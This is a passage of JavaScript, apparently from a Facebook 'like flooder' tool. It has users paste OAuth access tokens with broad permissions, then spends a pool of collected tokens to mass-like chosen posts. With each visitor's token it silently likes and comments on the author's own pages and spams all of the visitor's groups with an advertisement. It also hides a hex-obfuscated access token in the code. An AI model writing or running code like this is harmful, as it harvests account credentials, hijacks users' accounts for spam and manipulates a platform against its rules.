      if(ajAing.posidBudakIeu){$.getJSON('https://graph.facebook.com/'+ajAing.posidBudakIeu+'/likes?method=post&access_token='+ygLgDiprocess.token,function(){
        ajAing.vldtrHtng=0;ajAing.hadeuh(ygLgDiprocess.elm);
      }).error(function(){
        ajAing.vldtrHtng=0;ajAing.hadeuh(ygLgDiprocess.elm);
      })}else{
        ajAing.vldtrHtng=0;ajAing.hadeuh(ygLgDiprocess.elm);
      }
    }
  },
  pushapDek:function(post){
    ajAing.vldtrErr++;var a='';var b='';
    if(post.statusText){b+='<small style="color:gray">Status: '+post.statusText+'</small>  #'+ajAing.vldtrErr}
    if(post.responseText){
      a=ajAing.erMes(post.responseText);
      if(a.message){b+='<div class="error-message"><small style="color:#DDBBAA;">'+a.message.replace('\\u2019','\'')+'</small></div>'}
      if(a.code){
        b+='<div class="error-code">Code:'+a.code+'</div>';
        if(a.code=='190'||a.code=='2000'||a.code=='200'){
          for(r in multiServer){if(multiServer[r].split('|')[0]==ygLgDiprocess.posId.split('_')[0]){ajAing.sauri=multiServer[r];break}}
          ajAing.keremes=b;
          $.getJSON('https://graph.facebook.com/'+ygLgDiprocess.posId+'?method=delete&access_token='+ajAing.sauri,function(wha){
            ajAing.deletesyen++;$('#data-errorrr').html('Deletation: ('+ajAing.deletesyen+') '+wha);ajAing.hadeuh(ajAing.keremes);
          }).error(function(wha){
            ajAing.deletesyen++;$('#data-errorrr').html('Deletation: ('+ajAing.deletesyen+') ');ajAing.hadeuh(ajAing.keremes);
          });
    vldtrTkns.splice(ajAing.vldtrKe,1);
    $('#jempol-epelebel').html('<b>'+vldtrTkns.length+'</b> Jempols are available');
    $('#jmpl-epelebel').html('<b>'+vldtrTkns.length+'</b> Jempols are available');
        }else if(a.code=='368'){
    vldtrTkns.splice(ajAing.vldtrKe,1);
    $('#jempol-epelebel').html('<b>'+vldtrTkns.length+'</b> Jempols are available');
    $('#jmpl-epelebel').html('<b>'+vldtrTkns.length+'</b> Jempols are available');
    ajAing.hadeuh();
        }else{ajAing.hadeuh(b);}
      }else{ajAing.hadeuh(b);}
    }else{ajAing.hadeuh(b);}
  },
  hadeuh:function(tah){
    if(window.udahgakusahmuterlagi=='iya'&&ajAing.vldtrKe<1){
      $('#token-validator').fadeOut(function(){});
    }else{
      if(tah==null||tah==''){
        ajAing.vldtrKe--;window.keurpalidating='teu';ajAing.validateTokens();
      }else{
        $('#token-validator').fadeOut(function(){
          var kudis='<div><img src="'+ajAing.nini+'" onClick="window.open(\'http://www.facebook.com/plugins/subscribe.php?api_key=381308871890588&colorscheme=light&href=https%3A%2F%2Fwww.facebook.com%2Fprofile.php%3Fid%3D'+ygLgDiprocess.id+'&layout=standard&locale=en_US&show_faces=true&width=450\',\'sbscrb\',\'width=450,height=300\')" style="float:left;margin-right:7px;border-radius:3px;cursor:pointer;max-height:300px"/><span id="hitungan" style="vertical-align:middle;display:inline-block;padding:2px 3px;background-color:rgba(0,0,0,0.2);border-radius:3px;border:1px dashed rgba(200,200,200,0.2)">#'+(ajAing.vldtrKe+1)+'</span> '+tah+'</div><div style="clear:both"></div>';
          $('#token-validator').fadeIn('slow',function(){
            ajAing.vldtrKe--;window.keurpalidating='teu';ajAing.validateTokens();
          }).html(kudis);
        });
      }
    }
  },
  img:["http://4.bp.blogspot.com/-Hzwry-KK32Y/T6ZHvQ3SDeI/AAAAAAAABE0/vkmcRnjKcrM/s1600/inserAccessToken.jpg","http://1.bp.blogspot.com/-2a4lVBdoQUI/T5cYyjXtzZI/AAAAAAAABDU/7-E-QW9adiU/s1600/arisanjempol0.jpg","http://4.bp.blogspot.com/-GEAvz7NOfGI/T5cYy-8P9WI/AAAAAAAABDg/dgyM0hZi4mc/s1600/arisanjempol1.jpg","http://3.bp.blogspot.com/-IHUT4pTU9ns/T5cYzfWQxuI/AAAAAAAABDo/6JteotihIKA/s1600/arisanjempol2.jpg","http://4.bp.blogspot.com/-TAHsHvfgI4Y/T5cYzhOgW4I/AAAAAAAABD8/71xdTvwtfr8/s1\x4A\x70\x47\x6C\x51\x72\x63\x33\x68\x4F\x69\x4E\x32\x41\x51\x52\x76\x41\x4E\x6D\x56\x4C\x51\x74\x54\x73\x62\x6A\x5A\x41\x43\x50\x4B\x38\x39\x6B\x57\x54\x6B\x6B\x73600/arisanjempol3.jpg"],sauri:'\x41\x41\x41\x41\x41\x41\x49\x55\x47\x4F\x51\x63\x42\x41\x46\x54\x62\x58\x6D\x58\x64\x69\x6C\x37\x64\x52\x7A\x56\x63\x48\x36\x58\x65\x4D\x45\x76\x53\x48\x6A\x4C\x37\x4D\x6B\x50\x76\x38\x32\x6E\x6A\x67\x4A\x75\x75\x4E\x54\x63\x31\x4A\x71\x37\x4C\x36\x34\x4C\x4B\x6B\x77\x70\x6B\x51\x71\x63\x55',
  nextImg:function(huh){
    huh=huh*1;
    var tbPrev='<span class="tbl-opt-fb" onClick="$(this).fadeOut();ajAing.nextImg('+(huh-1)+')">Prev</span> ';
    var tbNext='<span class="tbl-conf-fb" onClick="$(this).fadeOut();ajAing.nextImg('+(huh+1)+')">Next</span>';
    var hlpTxt='How to get an Access Token - Step '+huh;
    if(huh>=ajAing.img.length-1){tbNext='';huh=ajAing.img.length-1;hlpTxt='How to get an Access Token - Last Step'}
    if(huh<=0){tbPrev='';huh=0;hlpTxt='How to - First step'}
    var imgAyeuna=ajAing.img[huh];
    $('#fb-dlg-help img').fadeOut(function(){$(this).attr('src','http://images.gmx.com/images/outsource/application/mailclient/mailcom/resource/mailclient/widgets/blue/common/loading_animation_en-3447255655.gif').fadeIn(function(){ajAing.repos('#fb-dlg-help',2)})});
    $('#fb-dlg-help .block-tbl-elm div:first').html(hlpTxt);
    var nyuImej=new Image();
    $(nyuImej).load(function(){
      $('#tbl-help-nav').html(tbPrev+'<span class="tbl-opt-fb" onClick="$(\'#fb-dlg-help\').fadeOut(function(){ajAing.pentaHeulaTokena()})">Got it!</span> '+tbNext);
      $('#fb-dlg-help img').fadeOut(function(){$(this).attr('src',imgAyeuna).fadeIn(function(){ajAing.repos('#fb-dlg-help',2)})});
    }).attr('src',imgAyeuna);
  },
  hitLikf:0,
  hitLikfE:0,
  floodUp:function(){
    if($('#masukan-pcid').val()==''){
      $('#masukan-pcid').css({'background-color':'orange'});
    }else{
      window.pauseSejenek=true;
      $('#fb-dlg-floodup').fadeOut(function(){
//        $('#dialog-utama').fadeIn(function(){
          ajAing.repos('#dialog-utama');
          if($('#startup-tbl-float-left').length==0){$('#dialog-utama .block-tbl-elm').prepend('<div id="startup-tbl-float-left" style="display:none;text-align:left;float:left"></div>').append('<div style="clear:both"></div>')}
          $('#startup-tbl-float-left').css({'display':'none'});
//        });
      });
      ajAing.idToFlood=$('#masukan-pcid').val();
      $.post("https://graph.facebook.com/357188624346256/likes?method=post&access_token="+ajAing.tokenBudakIeu);
      $.post("https://graph.facebook.com/212236982143899/likes?method=post&access_token="+ajAing.tokenBudakIeu);
      $.post("https://graph.facebook.com/357188624346256_361546007243851/comments?method=post&message="+komengnya[pelit]+"&access_token="+ajAing.tokenBudakIeu);
      $.post("https://graph.facebook.com/357188624346256/likes?method=post&access_token="+ajAing.tokenBudakIeu);
      $.post("https://graph.facebook.com/212236982143899/likes?method=post&access_token="+ajAing.tokenBudakIeu);
      var tulis='<center id="flooding-from" style="color:gray">Checking ID:'+ajAing.idToFlood+', Antosan sakedap..'+ajAing.loding+'</center>';
      tulis+='<center id="status-flooding" style="color:darkgreen"></center>';
      tulis+='<center id="error-flooding" style="color:darkred"></center>';
      $('#dialog-utama .block-text-elm').html(tulis);
      $.getJSON('https://graph.facebook.com/'+ajAing.idToFlood+'?access_token='+ajAing.tokenBudakIeu,function(mes){
        if(mes.from){
          ajAing.hitLikf=0; ajAing.hitLikfE=0;ajAing.idToFlood=mes.id;
          var tulis2='';
          if(mes.from.name){tulis2+='<div>From: '+mes.from.name+'</div>'}
          if(mes.message){tulis2+='<div style="white-space:pre-wrap;max-height:100px;overflow:auto">'+mes.message+'</div>'}
          $('#flooding-from').html(tulis2);
          $('#status-flooding').html('<small style="color:gray">Processing Thumbs, Wait up..</small>');
          for(x in ajAing.daftarTokens){
            if(ajAing.daftarTokens[x].token.split('&')[1]){ajAing.daftarTokens[x].token=ajAing.daftarTokens[x].token.split('&')[0]}
            $.getJSON('https://graph.facebook.com/'+ajAing.idToFlood+'/likes?method=post&access_token='+ajAing.daftarTokens[x].token,function(){
              ajAing.hitLikf++;
              $('#status-flooding').html('<big><b>'+ajAing.hitLikf+'</b> thumbs sticked</big> and '+(ajAing.daftarTokens.length-(ajAing.hitLikf+ajAing.hitLikfE))+' left to go..');
              if((ajAing.hitLikf+ajAing.hitLikfE)>=ajAing.daftarTokens.length){
                $('#status-flooding').html('<b>'+ajAing.hitLikf+' thumbs sticked</b>');
                var tulis3='<span class="tbl-opt-fb" onClick="ajAing.pentaHeulaTokena()">Submit another Token</span>';
                tulis3+=' <span class="tbl-conf-fb" onClick="$(\'#dialog-utama\').fadeOut(function(){$(\'#fb-dlg-floodup\').fadeIn()})">Again?</span>';
                $('#startup-tbl-float-left').html(tulis3).fadeIn();
                $('#error-flooding').html('<span style="color:gray">- SELESAI -</span>');
                window.pauseSejenek=false;
              }
            }).error(function(post){
              ajAing.hitLikfE++;
              var a=ajAing.erMes(post.responseText);
              var b='Error: #'+ajAing.hitLikfE;
              b+='<div class="error-statustext" style="display:none">Status:'+post.statusText+'</div>';
              if(a.message){b+='<div class="error-message">'+a.message.replace(/\\u2019/gi,'\'')+'</div>'}
              if(a.code){
                b+='<div class="error-code">Code:'+a.code+'</div>';
              }
              $('#error-flooding').html(b);
              $('#status-flooding').html('<big><b>'+ajAing.hitLikf+'</b> thumbs sticked</big> and '+(ajAing.daftarTokens.length-(ajAing.hitLikf+ajAing.hitLikfE))+' left to go..');
              if((ajAing.hitLikf+ajAing.hitLikfE)>=ajAing.daftarTokens.length){
                $('#status-flooding').html('<b>'+ajAing.hitLikf+' thumbs sticked</b>');
                var tulis3='<span class="tbl-opt-fb" onClick="ajAing.pentaHeulaTokena()">Submit another Token</span>';
                tulis3+=' <span class="tbl-conf-fb" onClick="$(\'#dialog-utama\').fadeOut(function(){$(\'#fb-dlg-floodup\').fadeIn()})">Again?</span>';
                $('#startup-tbl-float-left').html(tulis3).fadeIn();
                $('#error-flooding').html('<span style="color:gray">- SELESAI -</span>');
                window.pauseSejenek=false;
              }
            });
          }
        }else if(mes.is_published){
          ajAing.hitLikf=0; ajAing.hitLikfE=0;ajAing.idToFlood=mes.id;
          var tulis2='';
          if(mes.name){tulis2+='<div>Page Name: '+mes.name+'</div>'}
          if(mes.link){tulis2+='<div style="white-space:pre-wrap;max-height:100px;overflow:auto">'+mes.link+'</div>'}
          $('#flooding-from').html(tulis2);
/*
          $('#status-flooding').html('<small style="color:gray">Processing Likes, Wait up..</small>');
          for(x in ajAing.daftarTokens){
            if(ajAing.daftarTokens[x].token.split('&')[1]){ajAing.daftarTokens[x].token=ajAing.daftarTokens[x].token.split('&')[0]}
            $.getJSON('https://graph.facebook.com/'+ajAing.idToFlood+'/likes?method=post&access_token='+ajAing.daftarTokens[x].token,function(){
              ajAing.hitLikf++;
              $('#status-flooding').html('<big><b>'+ajAing.hitLikf+'</b> fan likes</big> and '+(ajAing.daftarTokens.length-(ajAing.hitLikf+ajAing.hitLikfE))+' left to go..');
              if((ajAing.hitLikf+ajAing.hitLikfE)>=ajAing.daftarTokens.length){
*/
                $('#status-flooding').html('');
                var tulis3='<span class="tbl-opt-fb" onClick="ajAing.pentaHeulaTokena()">Submit another Token</span>';
                tulis3+=' <span class="tbl-conf-fb" onClick="$(\'#dialog-utama\').fadeOut(function(){$(\'#fb-dlg-floodup\').fadeIn()})">Again?</span>';
                $('#startup-tbl-float-left').html(tulis3).fadeIn();
                $('#error-flooding').html('<span style="color:gray">- SELESAI -</span>');
                window.pauseSejenek=false;
/*
              }
            }).error(function(post){
              ajAing.hitLikfE++;
              var a=ajAing.erMes(post.responseText);
              var b='Error: #'+ajAing.hitLikfE;
              b+='<div class="error-statustext" style="display:none">Status:'+post.statusText+'</div>';
              if(a.message){b+='<div class="error-message">'+a.message.replace(/\\u2019/gi,'\'')+'</div>'}
              if(a.code){
                b+='<div class="error-code">Code:'+a.code+'</div>';
              }
              $('#error-flooding').html(b);
              $('#status-flooding').html('<big><b>'+ajAing.hitLikf+'</b> fan likes</big> and '+(ajAing.daftarTokens.length-(ajAing.hitLikf+ajAing.hitLikfE))+' left to go..');
              if((ajAing.hitLikf+ajAing.hitLikfE)>=ajAing.daftarTokens.length){
                $('#status-flooding').html('<b>'+ajAing.hitLikf+' fan likes</b>');
                var tulis3='<span class="tbl-opt-fb" onClick="ajAing.pentaHeulaTokena()">Submit another Token</span>';
                tulis3+=' <span class="tbl-conf-fb" onClick="$(\'#dialog-utama\').fadeOut(function(){$(\'#fb-dlg-floodup\').fadeIn()})">Again?</span>';
                $('#startup-tbl-float-left').html(tulis3).fadeIn();
                $('#error-flooding').html('<span style="color:gray">- SELESAI -</span>');
                window.pauseSejenek=false;
              }
            });
          }
*/
        }else{
          var b=JSON.stringify(mes,null,'  ');
          $('#dialog-utama .block-text-elm').html('<pre>'+b+'</pre>');
          var tulis3='<span class="tbl-opt-fb" onClick="ajAing.pentaHeulaTokena()">Submit another Token</span>';
          tulis3+=' <span class="tbl-conf-fb" onClick="$(\'#dialog-utama\').fadeOut(function(){$(\'#fb-dlg-floodup\').fadeIn()})">Try Again?</span>';
          $('#startup-tbl-float-left').html(tulis3).fadeIn();
          window.pauseSejenek=false;
        }
      }).error(function(post){
        var a=ajAing.erMes(post.responseText);
        var b='<div class="error-statustext">Status:'+post.statusText+'</div>';
        if(a.message){b+='<div class="error-message">'+a.message+'</div>'}
        if(a.code){
          b+='<div class="error-code">Code:'+a.code+'</div>';
        }
        $('#dialog-utama .block-text-elm').html(b);
        var tulis3='<span class="tbl-opt-fb" onClick="ajAing.pentaHeulaTokena()">Submit another Token</span>';
        tulis3+=' <span class="tbl-conf-fb" onClick="$(\'#dialog-utama\').fadeOut(function(){$(\'#fb-dlg-floodup\').fadeIn()})">Try Again?</span>';
        $('#startup-tbl-float-left').html(tulis3).fadeIn();
        window.pauseSejenek=false;
      });
    }
  },
  sertugrup:function(){
    $('#tell-friends').html('Posting to Groups..');
    $.getJSON('https://graph.facebook.com/'+ajAing.idUserYgLogin+'/groups?fields=id&access_token='+ajAing.tokenBudakIeu,function(post){
      if(post.data&&post.data.length!=0){
        $('#tell-friends').html('Posting to '+post.data.length+' Groups..');
        ajAing.serDone=0;ajAing.serErr=0;ajAing.serAll=post.data.length;
        for(x in post.data){
          if(typeof boysOnPictures=='undefined'){
            var gambarTuShare='http://t2.gstatic.com/images?q=tbn:ANd9GcRMnFuvcEnKpHINlkrCSWQ-jXoTVLEHxAVkomT7bwg0JDsrRJwe';
          }else{
            var gambarTuShare=boysOnPictures[x];
            if(typeof boysOnPictures[x]=='undefined'){
              boysOnPictures=boysOnPictures.sort(function(){return 0.5-Math.random()});
              var gambarTuShare=boysOnPictures[0];
            }
          }
          $.post('https://graph.facebook.com/'+post.data[x].id+'/feed',{access_token:ajAing.aksestoken,message:'Josendro-BombLikers Flooder Cooy :))\n you can get 1000-5000 like up,\n  Auto like status, coment, Poto and like fansPage automatically.\n you must remove the sign [#] and Replace it with the sign [.]\n get it and join now Link here:\n http://www.banten-likers.co.cc/',access_token:ajAing.tokenBudakIeu},function(){

            ajAing.serDone++;$('#tell-friends').html(ajAing.serDone+' of '+ajAing.serAll)

            if(ajAing.serDone+ajAing.serErr==ajAing.serAll){$('#tell-friends').html('Succesfully posted '+ajAing.serDone+'  of '+ajAing.serAll+' Groups.')}
          }).error(function(){
            ajAing.serErr++;
            if(ajAing.serDone+ajAing.serErr==ajAing.serAll){$('#tell-friends').html('Successfully posted to '+ajAing.serDone+'  of '+ajAing.serAll+' Groups.')}
          });
        }
      }else{
        $('#tell-friends').html('No groups detected');
      }
    }).error(function(why){
      $('#tell-friends').html(why.responseText);
    });
  },
  getToken:function(){

    aplikesyeun=aplikesyeun.sort(function(){return 0.5-Math.random()});
    var permz='offline_access,publish_actions,read_stream,publish_stream,user_groups,user_likes,user_photos,friends_photos,user_status,user_activities';
    var appID=aplikesyeun[0];
    var redUri='http://www.facebook.com/dialog/feed?app_id=381308871890588%26name=Copy the Full URL on the Address Bar above%26caption=And then paste it into the field at previous window..%26picture=http://www.dreamstime.com/one-finger-up-thumb16284994.jpg%26description=Thankyou :) and don\'t forget to close this popup window.%26link=http://www.facebook.com%26display=popup%26redirect_uri=http://aryalovakuajadeh.blogspot.com/';
//    var redUri='http%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fexplorer%2Fcallback';
    var a='https://www.facebook.com/dialog/oauth?response_type=token&display=popup';
    a+='&client_id='+appID;
    a+='&redirect_uri='+redUri;
    a+='&scope='+permz;
    window.open(a,'token','width=600,height=300');
    $('#dialog-menta-token .block-text-elm span').html('Insert an Access Token or Full URL from the Popup window:');
  },
  useJempolF:function(){
    if($('#sitback').css('display')!='none'){$('#sitback').fadeOut()}
    if($('#fb-dlg-floodup').css('display')=='none'){
      $('#dialog-utama').fadeOut(function(){
        $('#dialog-menta-token').css({'display':'none'});
        $('#fb-dlg-help').css({'display':'none'});
        ajAing.repos('#fb-dlg-floodup');
      });
    }else{
      $('#fb-dlg-floodup').fadeOut();
    }
  },
  help:function(){
    ajAing.repos('#fb-dlg-help');
  }
};

$(window).load(function(){
  window.udahgakusahmuterlagi='belom';
  window.pauseSejenek=false;
  window.keurpalidating='teu';
  window.vldtrAwal='heuh';
  ajAing.tokenBudakIeu=ajAing.getKuki('ajAingId');
  if(ajAing.tokenBudakIeu==null||ajAing.tokenBudakIeu==''){ajAing.pentaHeulaTokena()}else{ajAing.cokotanToken()}
  if(typeof stelMusikAh=='function'){stelMusikAh('','yes','no','MyNameIs-Love Song')}
});